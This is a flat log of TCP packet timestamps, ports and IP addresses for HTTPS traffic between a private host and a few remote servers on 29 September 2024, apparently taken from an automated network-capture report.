Sep 29, 2024 01:02:31.066160917 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.066214085 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.066219091 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.066257954 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.066296101 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.066306114 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.066314936 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.066378117 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.066469908 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.066574097 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.066713095 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.066719055 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.066874027 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.066916943 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.066922903 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.077815056 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.077869892 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.077876091 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.077917099 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.077950001 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.077959061 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.078027010 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.078064919 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.078103065 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.078110933 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.078115940 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.078140020 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.078166962 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.078793049 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.078852892 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.078902006 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.078902006 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.078910112 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.086960077 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.087007999 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.087013960 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.087069988 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.087110043 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.087174892 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.087182045 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.087219954 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.087511063 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.087574959 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.087848902 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.087889910 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.087908983 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.087913990 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.087933064 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.093292952 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.093326092 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.093374968 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.093381882 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.093436956 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.093441010 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.093446016 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.093476057 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.093481064 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.107120037 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.107176065 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.107219934 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.107228041 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.107266903 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.107306957 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.107307911 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.107316017 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.107359886 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.107367039 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.107404947 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.107635975 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.107810020 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.108035088 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.108079910 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.108089924 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.108129025 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.108139992 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.108144045 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.108198881 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.108202934 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.108208895 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.108253002 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.108576059 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.108649969 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.108680964 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.108788013 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.108793974 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.108913898 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.111895084 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.111965895 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.112001896 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.112052917 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.112061977 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.112142086 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.112147093 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.121207952 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.121265888 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.121273994 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.121308088 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.121341944 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.121352911 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.121357918 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.121392965 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.121444941 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.121452093 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.121484041 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.121634960 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.121697903 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.121732950 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.121745110 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.121748924 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.121848106 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.121896029 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.132276058 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.132332087 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.132345915 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.132353067 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.132416964 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.132462025 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.132479906 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.132483959 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.132510900 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.132524967 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.132563114 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.132602930 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.132607937 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.132652044 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.132653952 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.132663965 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.132721901 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.132735014 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.132740021 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.132807016 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.147299051 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.147380114 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.147424936 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.147456884 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.147489071 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.147501945 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.147521019 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.152806044 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.152849913 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.152885914 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.152916908 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.152916908 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.152926922 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.153023005 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.153023005 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.153047085 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.153228998 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.153263092 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.153270960 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.153276920 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.153322935 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.153327942 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.153331995 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.153378010 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.153383017 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.164783955 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.164820910 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.164829969 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.164836884 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.164882898 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.174015045 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.174040079 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.174094915 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.174107075 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.174122095 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.174237013 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.180324078 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.180350065 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.180397987 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.180403948 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.180474043 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.180474043 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.194442987 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.194469929 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.194547892 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.194555998 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.194659948 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.198971987 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.198995113 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.199028969 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.199048996 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.199148893 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.199148893 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.208472967 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.208496094 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.208755016 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.208755970 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.208765030 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.208993912 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.213440895 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.219690084 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.219717026 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.219790936 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.219799042 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.219821930 CEST	49738	443	192.168.2.8	142.250.186.46
Sep 29, 2024 01:02:31.219857931 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.219880104 CEST	443	49738	142.250.186.46	192.168.2.8
Sep 29, 2024 01:02:31.219957113 CEST	49738	443	192.168.2.8	142.250.186.46
Sep 29, 2024 01:02:31.221277952 CEST	49738	443	192.168.2.8	142.250.186.46
Sep 29, 2024 01:02:31.221296072 CEST	443	49738	142.250.186.46	192.168.2.8
Sep 29, 2024 01:02:31.232141972 CEST	49739	443	192.168.2.8	142.250.186.46
Sep 29, 2024 01:02:31.232177973 CEST	443	49739	142.250.186.46	192.168.2.8
Sep 29, 2024 01:02:31.232235909 CEST	49739	443	192.168.2.8	142.250.186.46
Sep 29, 2024 01:02:31.232440948 CEST	49739	443	192.168.2.8	142.250.186.46
Sep 29, 2024 01:02:31.232455969 CEST	443	49739	142.250.186.46	192.168.2.8
Sep 29, 2024 01:02:31.240015984 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.240047932 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.240113020 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.240122080 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.240154028 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.240168095 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.251682043 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.251709938 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.251755953 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.251764059 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.251794100 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.251813889 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.260881901 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.260905981 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.260992050 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.260999918 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.261235952 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.267132044 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.267154932 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.267216921 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.267224073 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.267246962 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.267281055 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.286509037 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.286535025 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.286745071 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.286753893 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.286820889 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.287343979 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.287369013 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.287427902 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.287435055 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.287507057 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.295567989 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.295584917 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.295722961 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.295722961 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.295731068 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.297151089 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.306324005 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.306339025 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.306725025 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.306735039 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.306808949 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.327151060 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.327178001 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.327290058 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.327290058 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.327300072 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.327374935 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.338727951 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.338747025 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.338866949 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.338866949 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.338876963 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.339195967 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.347771883 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.347788095 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.347863913 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.347863913 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.347871065 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.347912073 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.354127884 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.354144096 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.354224920 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.354231119 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.354242086 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.355211973 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.373164892 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.373181105 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.373302937 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.373311996 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.373370886 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.382004023 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.382019997 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.382117033 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.382126093 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.382183075 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.382575035 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.382590055 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.382709980 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.382716894 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.382819891 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.393201113 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.393218994 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.393301010 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.393309116 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.393332005 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.393373966 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.414062977 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.414084911 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.414139986 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.414150000 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.414170980 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.414187908 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.425610065 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.425626040 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.425702095 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.425709009 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.425755024 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.434639931 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.434654951 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.434724092 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.434731960 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.434788942 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.441103935 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.441118956 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.441318989 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.441339016 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.441488028 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.460289001 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.460306883 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.460469961 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.460469961 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.460479021 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.460696936 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.468894005 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.468914032 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.469101906 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.469101906 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.469110966 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.469155073 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.469561100 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.469578981 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.469625950 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.469631910 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.469656944 CEST	49731	443	192.168.2.8	142.250.185.129
